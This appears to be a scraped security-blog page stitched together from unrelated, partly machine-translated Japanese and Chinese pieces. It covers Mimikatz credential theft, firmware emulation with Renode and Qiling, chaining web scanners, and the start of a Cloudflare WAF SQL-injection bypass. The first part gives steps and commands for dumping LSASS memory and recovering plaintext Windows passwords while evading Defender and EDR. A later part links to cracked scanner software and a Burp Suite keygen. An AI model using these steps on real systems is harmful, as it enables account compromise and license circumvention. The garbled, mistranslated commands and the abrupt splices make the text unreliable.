Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863291710

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

1。 Mimikatzは、レジストリにLSA保護をバイパスするために変更を追加します(EDRとWDは当面とは見なされません)

Mimikatz原則:Mimikatzは、lsass.exeプロセスに保存されているプレーンテキストログインパスワードを逆に取得します。 (LSASS.EXEは、ローカルセキュリティおよびログインポリシーに使用されます)。まず、Mimikatzを使用する場合、クロールは管理者の権利でなければなりません。 Win10、Win11、Win2012およびその他のバージョンでは、システムがLSA保護を有効にし、PlantextパスワードフィールドにNULLが表示されます。最初のステップは、権限を増やすことです:特権:3360Debug。 2番目のステップは、クロールすることです。Sekurlsa3:logonpasswordspwiurnxzxeh743.pngLSA保護をオフにします。このログインのプレーンテキストパスワードは、LSASS.EXEプロセスに保存されます。 Mimikatzを使用して再びクロールして、Plantextパスワードを表示します。レジストリを復元すると、1から0を直接変更できます。コマンドの変更:reg hklm \ system \ currentControlset \ control \ securityproviders \ wdigest /v uselogoncredentient /t reg_dword /d 1 /f vyglgocjvbz744.pngしたがって、ミミカッツのために殺さない場合、たとえ静的すぎても、ハッシュアクションをバイパスするためにさまざまな姿勢を考慮する必要がありますが、これには間違いなく多くの時間がかかります。したがって、lsass.exeに保存されているプレーンテキストパスワードを取り出すことを検討し、ローカルミミカッツを介してパスワードを取得できます。実装:LSA保護がオフになり、管理者の権利が使用され、Microsoft Project Procdumpを使用してダンピングを使用しています(Microsoftプロジェクトであるため、EDRは毒を報告しません)、LSASSプロセスに保存されているパスワード情報を取得し、niuma.dmpとして保存します。 Procdumpプロジェクトアドレス:https://Learn.microsoft.com/zh-cn/sysinternals/downloads/procdumpコマンド:procdump.exe -ma lsass.exe niuma.dmpこの時点で、情報はローカル環境でMimikatzと同じディレクトリに引き込まれているため、通常のユーザー許可はniuma.dmpのプレーンテキストパスワードを直接読み取ることができます。ステップ1:sekurlsa3:3360minidump niuma.dmpステップ2:sekurlsa3:logonpasswordsフルdtjslq5p0eo745.pngしたがって、メモリストレージのDLL干渉を介してストレージを暗号化して、WDをバイパスする必要があります。

実装:前提は、LSA保護がオフになっており、管理者の特権であることです。操作中にエラーが発生する可能性があります。指定されたモジュール参照はありません。 DLLファイルの依存関係を見つけて、同じディレクトリに保存する必要があります。コマンドを使用して暗号化されたtest.logを生成し、パスC:/windows/tmepを保存し、ファイルをローカルに保存し、test.logを復号化して初期ストレージ情報を取得し、2番目のミミカッツと同じプレーンテキストパスワードを取得します。最初のステップでは、暗号化されたファイルを生成します:rundll32 dumphash.dll dllmain 2番目のステップローカル復号化コマンド:mimikatz decryption.exe test.log 1.bin 3番目のステップは、平文を読み取ります:sekurlsa:3360minidump 1つは、スクリーンショットが撮影されていません)vrq3q5x5f02746.png 4dvgmcfyzc1747.png

2。 Procdumpダンプバイパス360、Firefox

Githubプロジェクトアドレス:3https://github.com/xjsafe/mimikatzbypass yabpnkdqrpj748.pngリポスト

1.jpg

在各種攻擊性安全技術中,在分析IoT/IIoT 設備的安全性時,漏洞評估是重中之重。在大多數情況下,此類設備是使用黑盒測試方法進行分析的,在這種方法中,研究人員實際上對研究對像一無所知。通常,這意味著設備固件的源代碼不可用,研究人員只能使用用戶手冊和一些用戶論壇上討論設備操作的幾個線程。

IoT/IIoT 設備的漏洞評估基於對其固件的分析。它分幾個階段執行:準備固件(提取和解包),從研究人員的角度搜索感興趣的組件,在模擬器中運行固件或其部件,最後搜索漏洞。在最後階段使用了多種技術,包括靜態和動態分析以及模糊測試。

分析設備固件的傳統方法是將QEMU 仿真器與GNU 調試器結合使用。我們決定討論其他不太明顯的固件處理工具,包括Renode 和Qiling。這些工具中的每一個都有其自身的特性、優勢和局限性,使其對某些類型的任務有效。

Renode 是一種旨在模擬整個系統的工具,包括內存芯片、傳感器、顯示器和其他外圍設備。它還可以模擬多個處理器(在多處理器設備上)之間的交互,每個處理器都可以有自己的架構和固件。 Renode 還可以將仿真硬件與實現為可編程邏輯設備(FPGA 芯片)的真實硬件互連。

Qiling 是一個用於模擬可執行文件的高級多平台框架。它可以模擬多種操作系統和環境,包括不同成熟度的Windows、MacOS、Linux、QNX、BSD、UEFI、DOS、MBR 和以太坊虛擬機。它支持x86、x86_64、ARM、ARM64、MIPS 和8086 架構和各種可執行文件格式。它還可以模擬MBR 加載過程。

我們選擇了一個現實世界的設備,一個主要製造商的網絡錄像機,作為我們研究的對象。該設備基於海思平台,運行Linux。

從製造商網站下載的固件包含一個文件,其中binwalk 工具檢測到CramFS 文件系統。解壓文件後,我們發現uImage——Linux 內核和initramfs 的組合映像——以及幾個加密腳本和TAR 檔案。

DECIMALHEXADECIMALDESCRIPTION

--------------------------------------------------------------------------------

00x0uImageheader,headersize:64bytes,headerCRC:0xCA9A1902,created:2019-08-2307:16:16,imagesize:4414954bytes,DataAddress:0x40008000 ,EntryPoint:0x40008000,dataCRC:0xDE0F30AC,OS:Linux,CPU:ARM,imagetype:OSKernelImage,compressiontype:none,imagename:'Linux-3.18.20'

640x40LinuxkernelARMbootexecutablezImage(little-endian)

24640x9A0devicetreeimage(dtb)

165600x40B0LZMAcompresseddata,properties:0x5D,dictionarysize:33554432bytes,uncompressedsize:-1bytes

44018480x432AB8devicetreeimage(dtb)

1

2

3

4

5

6

7

DECIMALHEXADECIMALDESCRIPTION

--------------------------------------------------------------------------------

00x0uImageheader,headersize:64bytes,headerCRC:0xCA9A1902,created:2019-08-2307:16:16,imagesize:4414954bytes,DataAddress:0x40008000 ,EntryPoint:0x40008000,dataCRC:0xDE0F30AC,OS:Linux,CPU:ARM,imagetype:OSKernelImage,compressiontype:none,imagename:'Linux-3.18.20'

640x40LinuxkernelARMbootexecutablezImage(little-endian)

24640x9A0devicetreeimage(dtb)

165600x40B0LZMAcompresseddata,properties:0x5D,dictionarysize:33554432bytes,uncompressedsize:-1bytes

44018480x432AB8devicetreeimage(dtb)下面,我們從系統層面看一下Renode和Qiling的運行情況。

有關在應用程序級別使用這些工具的信息(以錄像機的固件為例),請參閱文章的完整版本。

使用Renode 的系統級仿真Renode 是一個完整的系統仿真實用程序,其開發人員主要將其定位為旨在簡化嵌入式軟件開發、調試和自動化測試的工具。但是,它也可以用作動態分析工具,在漏洞評估期間分析系統的行為。 Renode 可用於運行小型嵌入式實時操作系統和成熟的操作系統,如Linux 或QNX。該模擬器大部分是用C# 編寫的,因此它的功能可以相對較快地適應研究人員的需求。

描述模擬平台作為單芯片系統一部分的外圍設備通常可通過內存映射I/O (MMIO) 獲得——相應外圍模塊的寄存器映射到的物理內存區域。 Renode 提供了使用帶有.repl(RE節點PL格式)擴展名的配置文件從構建塊構建片上系統的能力,該文件描述了哪些設備應該映射到哪些內存地址。

有關可用外圍設備和所用平台的內存映射的信息可以在SoC 文檔(如果公開)中找到。如果文檔不可用,則可以通過分析設備樹Blob (DTB) 的內容來找到此信息,DTB 是描述Linux 內核在嵌入式設備上運行Linux 所需的平台的數據塊。

在正在分析的固件中,DTB 塊附加到uImage 文件的末尾(根據binwalk 工具的信息)。使用dtc 工具將DTB 轉換為可讀格式(DTS)後,我們可以使用它為Renode 創建平台描述。

開始仿真必須準備一個初始化腳本,以便在REPL 文件中描述的平台上運行一些有用的東西。該腳本通常將可執行代碼加載到虛擬內存中,配置處理器寄存器,設置額外的事件處理程序,配置調試消息的輸出(如果需要)等。

:name:HiSilicon

:description:TorunLinuxonHiSilicon

usingsysbus

$name?='HiSilicon'

machcreate$name

machineLoadPlatformDescription@platforms/cpus/hisilicon.repl

logLevel0

###createexternals###

showAnalyzersysbus.uart0

###redirectmemoryforLinux###

sysbusRedirect0xC00000000x400000000x8000000

###loadbinaries###

sysbusLoadBinary'/home/research/digicap.out/uImage'0x40008000

sysbusLoadAtags'console=ttyS0,115200mem=128M@0x40000000nosmpmaxcpus=0'0x80000000x40000100

###setregisters###

cpuSetRegisterUnsafe20x40000100#atags

cpuPC0x40008040

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

:name:HiSilicon

:description:TorunLinuxonHiSilicon

usingsysbus

$name?='HiSilicon'

machcreate$name

machineLoadPlatformDescription@platforms/cpus/hisilicon.repl

logLevel0

###createexternals###

showAnalyzersysbus.uart0

###redirectmemoryforLinux###

sysbusRedirect0xC00000000x400000000x8000000

###loadbinaries###

sysbusLoadBinary'/home/research/digicap.out/uImage'0x40008000

sysbusLoadAtags'console=ttyS0,115200mem=128M@0x40000000nosmpmaxcpus=0'0x80000000x40000100

###setregisters###

cpuSetRegisterUnsafe20x40000100#atags

cpuPC0x40008040該腳本將uImage 文件加載到平台內存中的binwalk 輸出地址,配置內核參數,並將控制權傳遞給地址0x40008040,因為前0x40 字節由uImage 標頭獲取。

開始仿真後,我們得到了一個功能齊全的終端,我們可以與它進行交互,就像我們在任何Linux 系統上的終端一樣:

2.png

Renode 模擬器提供了足夠的功能來快速開始對正在研究的固件進行動態分析。作為一個動手示例,我們能夠部分運行網絡視頻錄像機的固件,而無需實際手頭有錄像機。在接下來的步驟中,我們可以使用模擬文件系統中可用的工具來解密加密的固件文件,提取提供記錄器功能的內核模塊並分析它們的邏輯等。

由於Renode 仿真器為基於ARM 架構的片上系統中常用的外設提供了足夠廣泛的支持,因此無需編寫任何額外代碼即可查看功能齊全的Linux 終端。同時,在必要時,仿真器的模塊化架構及其腳本和插件編寫功能使得在足以進行研究的水平上實現對任何缺乏功能的支持變得相對容易。

該工具的顯著特點之一是它使用系統級仿真。因此,很難使用它來模糊測試或調試在模擬操作系統中運行的用戶空間應用程序。

該工具的缺點包括缺乏詳細的文檔,現有文檔僅描述了最基本的使用場景。在實現更複雜的東西時,例如新的外圍設備,或者試圖了解特定內置命令的工作原理時,您必須反复參考GitHub 上的項目存儲庫並研究模擬器本身和捆綁的源代碼外圍設備。

使用Qiling 框架進行模糊測試Qiling 框架是用Python 編寫的,這使得根據研究人員的特定需求調整其功能非常容易。麒麟框架底層有獨角獸引擎,它只是一個機器指令的模擬器,而麒麟提供了許多高級功能,例如從文件系統中讀取文件、加載動態庫等。

與QEMU 相比,Qiling Framework 可以模擬更多平台,並提供靈活的模擬過程配置,包括即時修改執行代碼的能力。此外,它是一個跨平台框架,這意味著它可以用來在Linux 上模擬Windows 或QNX 可執行文件,反之亦然。

作為演示的一部分,我們將嘗試使用Qiling 模糊測試hrsaverify 實用程序,它是我們正在分析的固件的一部分,使用AFL++,一個用於驗證加密文件的實用程序,它將文件的路徑用於被驗證為論據。 Qiling 框架在其存儲庫的示例/fuzzing 目錄中已經有幾個運行AFL++ fuzzer 的示例。我們將修改名為linux_x8664 的示例以運行hrsaverify。運行fuzzer 的修改腳本如下所示:

importunicornaflasUcAfl

UcAfl.monkeypatch()

importos,sys

fromtypingimportAny,Optional

sys.path.append('././.')

fromqilingimportQiling

fromqiling.constimportQL_VERBOSE

fromqiling.extensionsimportpipe

defmain(input_file:str):

ql=Qiling(['././rootfs/hikroot/usr/bin/hrsaverify','/test'],'././rootfs/hikroot',

verbose=QL_VERBOSE.OFF,#keepqilingloggingoff

console=False,#thwartprogramoutput

stdin=None,stdout=None,stderr=None)#don'tcareaboutstdin/stdout

defplace_input_callback(uc:UcAfl.Uc,input:bytes,persistent_round:int,data:Any)-Optional[bool]:

'''Calledwitheverynewlygeneratedinput.'''

withopen('././rootfs/hikroot/test','wb')asf:

f.write(input)

defstart_afl(_ql:Qiling):

'''Callbackfrominside.'''

#WestartourAFLforkserverorrunonceifAFLisnotavailable.

#Thiswillonlyreturnafterthefuzzingstopped.

try:

ifnot_ql.uc.afl_fuzz(input_file=input_file,

place_input_callback=place_input_callback,exits=[ql.os.exit_point]):

_ql.log.warning('RanoncewithoutAFLattached')

os._exit(0)

exceptUcAfl.UcAflErrorasex:

ifex.errno!=UcAfl.UC_AFL_RET_CALLED_TWICE:

raise

#Imagebaseaddress

ba=0x10000

#Setahookonmain()toletunicornforkandstartinstrumentation

ql.hook_address(callback=start_afl,address=ba+0x8d8)

#Okay,readytoroll

ql.run()

if__name__=='__main__':

iflen(sys.argv)==1:

raiseValueError('Noinputfileprovided.')

main(sys.argv[1])

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

importunicornaflasUcAfl

UcAfl.monkeypatch()

importos,sys

fromtypingimportAny,Optional

sys.path.append('././.')

fromqilingimportQiling

fromqiling.constimportQL_VERBOSE

fromqiling.extensionsimportpipe

defmain(input_file:str):

ql=Qiling(['././rootfs/hikroot/usr/bin/hrsaverify','/test'],'././rootfs/hikroot',

verbose=QL_VERBOSE.OFF,#keepqilingloggingoff

console=False,#thwartprogramoutput

stdin=None,stdout=None,stderr=None)#don'tcareaboutstdin/stdout

defplace_input_callback(uc:UcAfl.Uc,input:bytes,persistent_round:int,data:Any)-Optional[bool]:

'''Calledwitheverynewlygeneratedinput.'''

withopen('././rootfs/hikroot/test','wb')asf:

f.write(input)

defstart_afl(_ql:Qiling):

'''Callbackfrominside.'''

#WestartourAFLforkserverorrunonceifAFLisnotavailable.

#Thiswillonlyreturnafterthefuzzingstopped.

try:

ifnot_ql.uc.afl_fuzz(input_file=input_file,

place_input_callback=place_input_callback,exits=[ql.os.exit_point]):

_ql.log.warning('RanoncewithoutAFLattached')

os._exit(0)

exceptUcAfl.UcAflErrorasex:

ifex.errno!=UcAfl.UC_AFL_RET_CALLED_TWICE:

raise

#Imagebaseaddress

ba=0x10000

#Setahookonmain()toletunicornforkandstartinstrumentation

ql.hook_address(callback=start_afl,address=ba+0x8d8)

#Okay,readytoroll

ql.run()

if__name__=='__main__':

iflen(sys.argv)==1:

raiseValueError('Noinputfileprovided.')

main(sys.argv[1])我們首先要查找的是可執行文件的基地址(在我們的例子中為0x10000),即主函數的地址。有時需要在其他地址上額外設置鉤子,當遇到這些地址時,模糊器應將其視為崩潰。例如,在QNX 環境中(在qnx_arm 目錄中)運行AFL 時,為libc 中SignalKill 函數的地址設置了這種類型的附加處理程序。在hrsaverify 的情況下,不需要額外的處理程序。還應該記住,所有必須對正在運行的應用程序可用的文件都應該放在sysroot 中,並且應該傳遞它們的相對路徑(在這種情況下,/./rootfs/hikroot/)。

AFL++ 使用以下命令啟動:

AFL_AUTORESUME=1AFL_PATH='$(realpath./AFLplusplus)'PATH='$AFL_PATH:$PATH'afl-fuzz-iafl_inputs-oafl_outputs-U--python./fuzz_arm_linux.py@@

1

AFL_AUTORESUME=1AFL_PATH='$(realpath./AFLplusplus)'PATH='$AFL_PATH:$PATH'afl-fuzz-iafl_inputs-oafl_outputs-U--

0x01使用

各ツールの導入後に、ツールのダウンロードアドレスとインストール方法が配置されます。必要に応じて、自分でダウンロードできます。

1.AWVSツール

awvsはじめに:

Acunetix Web脆弱性スキャナー(AWVS)は、Webアプリケーションのセキュリティのテストと管理に使用されるプラットフォームです。インターネットまたはローカルLANを脆弱性を自動的にスキャンし、脆弱性を報告できます。 HTTP/HTTPSルールがアクセスして続くWebサイトをスキャンできます。小規模および中規模および大規模企業向けの顧客、従業員、ベンダー、その他の担当者向けのイントラネット、外因性ネットワークおよびWebサイト。 AWSは、SQLインジェクション攻撃の脆弱性、XSSクロスサイトスクリプトの脆弱性などをチェックすることにより、Webアプリケーションのセキュリティをレビューできます。AWVS機能と機能:1)自動クライアントスクリプトアナライザー、AJAXおよびWeb2.0アプリケーションのセキュリティテストを可能に

2)業界で最も高度で詳細なSQLインジェクションとクロスサイトスクリプトテスト

3)HTPPエディターやHTTPファッツァなどの高度な浸透テストツール

4)Visual Macro Recorderは、Webフォームやパスワードで保護された領域を簡単にテストするのに役立ちます

5)Capthca、シングルスタート命令、2つの要因(2要素)検証メカニズムを含むサポートページ

6)Visa PCIコンプライアンスレポートを含む豊富なレポート機能

7)高速マルチスレッドスキャナーは、数千ページを簡単に取得できます

8)インテリジェントクローラーがWebサーバーのタイプとアプリケーション言語を検出する

9)Acunetixは、フラッシュコンテンツ、SOAP、AJAXなどのWebサイトを取得および分析します

10)ポートWebサーバーをスキャンし、サーバーで実行されているネットワークサービスでセキュリティチェックを実行します

11)Webサイトの脆弱性ファイルをエクスポートできます

AWVSツールインストールチュートリアルアドレス:https://Blog.csdn.net/shandongjiushen/article/details/128377981

AWVSツールクラックバージョンダウンロードアドレス(Baidu NetDisk)リンク:https://Pan.Baidu.com/s/1KayuhishGujozphx41CQSQ抽出コード:QBE0

2。 AppScanツール

appscanはじめに:

AppScanは、セキュリティの専門家とテスター向けに特別に設計された動的なアプリケーションセキュリティテストツールです。これは、ユーザーがより安全なソフトウェアを開発するのに役立ち、開発ライフサイクルの後期段階で高価な脆弱性を効果的に回避できます。ソフトウェアには強力なスキャンエンジンが組み込まれており、ターゲットアプリケーションやテストの脆弱性を自動的にクロールできます。テスト結果は優先的に提示され、オペレーターは問題をより速く分類し、最も重要な脆弱性を最初に発見することができます。同時に、AppScanはユーザーに明確で実行可能な修理の提案を自動的に提供するため、発見された各問題をより簡単に改善できます。さらに、このソフトウェアには、テストWebアプリケーション、Webサービス、およびモバイルバックエンドをサポートする包括的なセキュリティテストスイートがあり、運用ベースの独自のテクノロジーと数万個の組み込みスキャンを使用して継続的にチェックします。 AppScan機能の紹介:1)アクティブおよびパッシブスキャンAppScanは、アクティブおよびパッシブスキャンテクノロジーをサポートします。アクティブなスキャンモードでは、攻撃者の動作をシミュレートし、悪意のあるリクエストと攻撃ペイロードを送信して、クロスサイトスクリプティング(XSS)、SQLインジェクション、クロスサイトリクエスト偽造(CSRF)などの既知のWeb脆弱性を発見します。

2)サポートWebアプリケーションとモバイルアプリケーションスキャンAppScanは、Webアプリケーションスキャンとモバイルアプリケーションのセキュリティ評価の両方に適しています。 Webアプリケーションの場合、AppScanはXSS、SQLインジェクション、機密情報漏れなどの一般的なWeb脆弱性を自動的に発見および評価できます。モバイルアプリケーションの場合、AppScanはアプリケーションのバイナリコードを分析し、アプリケーションの脆弱性とセキュリティ問題を発見できます。

3)浸透テストサポートAppScanは、浸透テストサポートを提供します。つまり、脆弱性スキャンツールであるだけでなく、テスト用の実際の攻撃をシミュレートできます。浸透テストは、複雑な脆弱性とビジネスロジックの問題のために、検出が困難である脆弱性を発見し、より詳細なテスト機能を備えていることを発見するのに役立ちます。

AppScanツールのインストールチュートリアルアドレス:https://Blog.csdn.net/qq_39720249/article/details/121248901

AppScanツールクラックバージョンダウンロードアドレス(Baidu NetDisk):https://pan.baidu.com/s/1unazbfwyvevzuqpc1eqaba抽出コード:ime6

3。 Yakitツール

yakitはじめに:

Yakは、ネットワークセキュリティの基礎能力の統合に専念する世界で最初の垂直開発言語であり、非常に強力なセキュリティ機能を提供します。 Yakは、ほとんどの「データ説明言語/コンテナ言語」のスーパーセットです。すべてのGO機能とライブラリエコシステム、VSCODEプラグインなどがあります。構文はカスタマイズ可能です。それは完全に国内で、チューリング複雑なスクリプト言語です。ポートスキャン、フィンガープリント認識、POCフレームワーク、シェル管理、MITMハイジャック、強力なプラグインシステムなど、機能を通じてさまざまな基礎となるセキュリティ機能を提供します。Yakitは、YAK言語に基づいて開発されたサイバーセキュリティの個別ツールであり、浸透テストのプロセス全体をカバーするネットワークセキュリティツールライブラリを作成することを目的としています。 YAKの使用形式のため、ユーザーはYAK言語を学習し、同時にセキュリティを特定して理解する必要があります。 Yak独自のセキュリティ機能を容易に受け入れ、すべての人が使用するために、Yak用のGRPCサーバーを作成し、クライアントを構築しました。Yakitは、インターフェイスGUIを介してYakを使用するためのしきい値を下げます。 Yakit関数の簡単な紹介(関数が多すぎます):Yakitは、Yak言語セキュリティ機能のための高度に統合された出力プラットフォームです。 Yakitを使用して、できます:

1)Burpsuiteに似たMITMハイジャック操作テーブル

2)すべてのハイジャックされたリクエストの履歴を表示し、リクエストのパラメーターを分析する

3)世界初の視覚的なWebファザーツール:Web Fuzzer

4)Yak Cloud IDE:組み込みのスマートプロンプトを備えたYak言語クラウドIDE

5)Shellreceiver:TCPサーバーをオンにして、リバウンドインタラクティブシェルアンチ接続を受信します

6)サードパーティYakモジュールストア:コミュニティ主導のサードパーティYakモジュールプラグイン、あなたが望むすべてを持っています

7。

Yakitツールのインストールチュートリアルアドレス:https://Blog.csdn.net/m0_60045654/article/details/134645164

Yakitツールダウンロードアドレス:https://yaklang.com/

4。バープスイート

バープスイートの紹介:

Burp Suiteは、Webアプリケーションを攻撃するための統合プラットフォームです。 Burp Suiteは、Webアプリケーションを攻撃するための統合プラットフォームであり、多くのツールが含まれています。バープスイートは、これらのツールの多くのインターフェイスを設計して、アプリケーションを攻撃するプロセスを高速化します。すべてのツールはリクエストを共有し、対応するHTTPメッセージ、永続性、認証、プロキシ、ログ、およびアラートを処理できます。バープスイートツールの関数の紹介:1)ターゲット(ターゲット)——ターゲットディレクトリ構造の関数を表示します

2)プロキシ(プロキシ)—— HTTP/sプロキシサーバーをインターセプトし、ブラウザとターゲットアプリケーションの間の仲介者として機能し、両方向の元のデータフローを傍受、表示、変更できます。

3)Spider(Spider)——は、アプリケーションのコンテンツと機能を完全に列挙できるインテリジェントセンシングWeb Crawlerを使用します。

4)スキャナー(スキャナー)——高度なツールでは、実行後、Webアプリケーションのセキュリティの脆弱性を自動的に発見できます。

5)侵入者(侵入者)——カスタマイズされた高度に構成可能なツールは、列挙された識別子、有用なデータの収集、ファジングテクノロジーを使用して従来の脆弱性を検出するなどのWebアプリケーションを自動化します。

6)リピーター(リピーター)——手動操作に依存して個別のHTTP要求をトリガーし、アプリケーション応答を分析するツール。

7)シーケンサー(セッション)——は、予測不可能なアプリケーションセッショントークンと重要なデータ項目のランダム性を分析するために使用されるツールです。

8)デコーダー(デコーダー)——は、アプリケーションデータユーザーを手動で実行またはインテリジェントにデコードおよびエンコードするためのツールです。

9)比較(比較)——は、通常、いくつかの関連するリクエストと応答を通じて、2つのデータの視覚的な「違い」を取得します。

10)Extender(Extension)——を使用すると、Burp Suite Extensionsをロードし、独自のコードまたはサードパーティコードを使用してBurp Suiteの機能を拡張できます。

11)オプション(設定)——げっぷスイートのいくつかの設定

バープスイートツールのインストールチュートリアルアドレス:https://blog.csdn.net/m0_60045654/article/details/134645164

バープスイートツールJARクラックパッケージ:** https://link.zhihu.com/?ターゲット=https%3a //github.com/lzskyline/burploaderkeygen/raw/main/burploaderkeygen.jar

バープスイートツールダウンロードアドレス:https://Link.zhihu.com/?target=https%3a//portswigger.net/burp/releases/

5。 xray

Xrayツールの紹介:

Xrayは、変化する技術によって開始された強力なセキュリティ評価ツールです。これは、多くの経験豊富な最前線のセキュリティ実務家によって作成されています。アクティブおよびパッシブスキャン方法をサポートし、Windows、Linux、MacOSなどの複数のオペレーティングシステムをサポートし、ユーザー定義のPOCをサポートします。

ターゲットWebサイトの脆弱性をすばやく検出できます。従来のマニュアルの脆弱性スキャンと比較して、Xrayには次の利点があります。

1。高度な自動化、手動操作の時間とエネルギーを削減する。

2。複数の脆弱性タイプのスキャンをサポートします。

3。分散展開をサポートします。

4。Webインターフェイス管理をサポートします。

Xray関数の紹介:POCフレームワークには、デフォルトでGitHubにPOCが組み込まれているPOCが組み込まれており、ユーザーは必要に応じて自分で構築および実行することもできます。

現在サポートされている脆弱性検出タイプには: 1)XSS脆弱性検出(Key: XSS)

2)SQL注入検出(Key: SQLDET)

3)コマンド/コードインジェクション検出(key: cmd-injection)

4)ディレクトリの列挙(key:ディルカン)

5)パス交差検出(key:パストラバーサル)

6)XMLエンティティインジェクション検出(key: xxe)

7)ファイルアップロード検出(key:アップロード)

8)弱いパスワード検出(Key:ブルートフォース)

9)JSONP検出(key: jsonp)

10)SSRF検出(Key: SSRF)

11)ベースライン検査(Key:ベースライン)

12)任意のジャンプ検出(key:リダイレクト)

13)CRLF注入(Key: CRLF注入)

14)Struts2シリーズの脆弱性検出(Advanced Edition、Key: Struts)

15)ThinkPhpシリーズの脆弱性検出(Advancedバージョン、key: thinkphp)

16)XSTREAMシリーズの脆弱性検出(Key: XStream)

17)POCフレームワーク(key:パンタズム)

Xray Toolインストールチュートリアルアドレス:https://Blog.csdn.net/weixin_52244272/article/details/132278409

Xray11ツールクラックバージョンダウンロードアドレス:https://pan.baidu.com/s/1n5lqesvxpk_cgbs7jmfkda?pwd=amlj抽出コード:AMLJ

0x02ツールリンケージ

ターゲットWebサイトの脆弱性を自動的にスキャンするために、5つのツールをリンクします。

1。 AppScanツールリンケージの準備

をセットアップします

AppScanツールインターフェイスを開き、[新シュンWebサービス]を選択します。image.png

選択- AppScanを自動的に選択します(ここで選択されたポートとアドレスは、AWVSエージェントが耳を傾けるアドレスとポートです) - ローカル - 他の接続設定を構成する必要があります - 次のステップimage.png

選択- カスタムプロキシ設定を使用- アドレス:127.0.0.1-ポート:8083(ここに設定されたプロキシアドレスとポートセットはYakitのプロキシリスニングアドレスです) - ニキスト。image.png

設定する必要はありません。次に行くだけです。image.png

設定せずに、次のステップに移動して[完了]をクリックします。image.png image.png

外部のトラフィックレコーダーを入手し、ここを通過して表示するのを待ちます。image.png

2。 Yakitツールリンケージの準備

をセットアップします

Yakit Tool image.pngを起動します

一時的なプロジェクトimage.pngを開きます

侵入テストツールを選択します - MIMTインタラクティブハイジャックimage.png

ここで、Yakitにはデフォルトでダウンロードされた15のスキャンプラグインしかないことをここでお知らせします。より包括的なパッシブスキャンの脆弱性を持ちたい場合は、プラグインストアにアクセスして、必要なプラグインをダウンロードできます。ワンクリックですべてのプラグインをダウンロードできますが、スキャンは非常に遅くなります。必要なもののいくつかをダウンロードしてください。image.png

MIMTインタラクティブなハイジャックに戻り、ハイジャックエージェントのリスニングホストを設定します:127.0.0.1、リスニングポートをリスニングするハイジャックエージェント:8083、およびダウンストリームエージェントはhttp://127.0.0.0.13:8080(下流のアドレスはここに設定されています)。 [プラグインを有効にする]を選択し、左側にプラグインを設定してすべてを選択し、設定後に構成なしの起動を選択します(構成なしの起動を選択するのが最善です。image.png

後でスキャンされた脆弱性は、ここimage.pngに表示されます

3。 Buro Suite Toolのリンケージ準備

Burp Suiteツールを開き、[Temporary Project -Next]を選択します。image.png

Burp Suiteのデフォルト値-Nextを使用します。image.png

設定image.pngを選択します

プロキシを設定すると、バインディングプロキシポートは8080、バインディングアドレスは次のとおりです。Loopbackのみ(ここに設定されたプロキシリスニングアドレスとポートセットは、Yakitが設定した下流のプロキシアドレスです)。image.png

バープスイートの上流プロキシをセットアップすると、ターゲットホストは次のとおりです。 *(すべてのターゲットホストが許可されます)、プロキシホストは127.0.0.1、プロキシポートは7777です。

リアルタイムタスクimage.pngを追加しました

プロキシimage.pngを通過するすべてのトラフィックを受動的にスキャンする

組み込みのスキャン動作を編集します。image.png

スキャンタイプを設定し、すべてを選択し、火力をオンにし、[保存]をクリックします。image.png

[OK]をクリックして、パッシブスキャンを設定します。image.png image.png

4。 Xrayツールリンケージの準備

をセットアップします

Xrayを使用してポート127.0.0.0.1:77777(ここで聴くポートは、Burp Suiteが設定したアップストリームプロキシです)、脆弱性を受動的にスキャンし、脆弱性を123.HTMLにします。image.png

0x04リンケージスキャンのテストを開始

すべての準備が整っています。AWVSツールを最初のアクセススキャンターゲットトラフィックの開始点として使用します。

1。トラフィックを傍受

YakitとBurp Suiteのトラフィックを最初にハイジャックして、後でトラフィックの傾向を視聴します。

image.png

image.png

2。 AWVSスキャンターゲットを設定

AWVSスキャンターゲットを設定して、トラフィックにアクセスします。スキャンターゲット(このターゲットは承認されています)を追加し、[保存]をクリックします。

有研究人員在安全測試時,繞過了Cloudflare WAF 的SQLi 過濾器,這意味著Cloudflare 安裝沒有正確配置,但Cloudflare目前還不認為這是個漏洞。雖如此,安全人員在為其應用程序部署安全保護時需要注意有關問題。對於試圖繞過WAF 的人來說,發現的些許漏洞也可能會派上用場。攻擊者可以利用一種或多種技術(具體取決於最終應用程序)繞過某些WAF 並通過濫用SQLi 漏洞竊取數據。

測試時使用的Web應用程序詳細信息測試時使用的Web 應用程序的目的對於實際測試來說並不重要。除了在服務器上公開的/graphql 端點和運行查詢的PostgreSQL 服務之外,寫入查詢的堆棧也並不重要。 GraphQL 是一種查詢語言,它處理查詢,在測試中,在後端運行適當的SQL 查詢並返回請求的數據。之前由於測試人員從未使用或閱讀過有關GraphQL 的信息,因此遵循的是官方教程https://graphql.org/learn/,如果感興趣你也可以了解一下。

查詢的形成類似於JSON 對象。應用程序向/graphql 端點發送POST 請求。請求正文包含GraphQL 查詢,如下所示:

1.png

X-MARK 中未過濾的參數從GraphQL 傳遞,並在PostgreSQL 存儲過程中被替換,從而允許我們注入在後端服務器上執行的SQL 查詢。

這幾乎是我們目前必須了解的關於應用程序的內容。在接下來的部分中,我將介紹我在測試SQL 注入應用程序時觀察的一些現象,這些觀察使我成功地利用了SQL注入,包括繞過Cloudflare SQLi過濾器。

觀察1第一個重要的觀察結果是服務器對有效的電子郵件輸入(即當SQL 查詢返回數據時)的響應與對無效的電子郵件輸入的響應不同。返回的HTTP 代碼始終為200,但響應正文不同:

這將返回“OK”:

2.png

這將返回'NOT OK':

3.png

起初這可能看起來不太像,但它實際上是允許我驗證數據庫中特定數據是否存在的機制。它讓我想到了利用這種機制執行SQL盲注入攻擊並使用腳本自動化它的想法。該腳本構造一個有效負載,並將其與POST請求一起發送,POST請求反過來修改在後端服務器上運行的SQL查詢。

步驟如下:

我們有一組字符,稱為字母表。這組字符包括所有可能的字符,這些字符可以是我們試圖從數據庫中提取的數據的一部分。

假設資源是需要檢索的SQL 資源。它可以是數據庫名稱、用戶名、任何表格中的單元格值等。

將逐字符檢索資源。我們試圖檢索的字符稱為char。

